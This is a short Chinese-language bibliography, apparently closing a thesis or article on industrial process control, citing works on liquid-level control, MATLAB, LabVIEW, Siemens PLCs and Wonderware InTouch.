[2]齐臣坤,李少远.液位过程控制系统的设计与实现[J].东南大学学报(自然科学版),2003.

[3]孙洪程,魏杰,王俭编译.过程自动检测与控制技术[M].北京:化学工业出版社,2007.

[4]王力涵.过程控制系统仿真平台的设计:[学位论文].青岛:山东科技大学,2009.

[5]黄忠霖编译.自动控制原理的MATLAB实现[M].北京:国防工业出版社,2007.

[6]尹一鸣.基于LabVIEW和PLC的过程控制系统的设计.仪表技术与传感器[J],2010(3):39-41.

[7]方,虎恩典,李帅,李晓婷.西门子PLC与组态王在葡萄酒发酵过程控制系统中的应用.制造业自动化[J],2011(3):39-43.

[8]InTouch用户指南.Wonderware公司[Z].

相关文章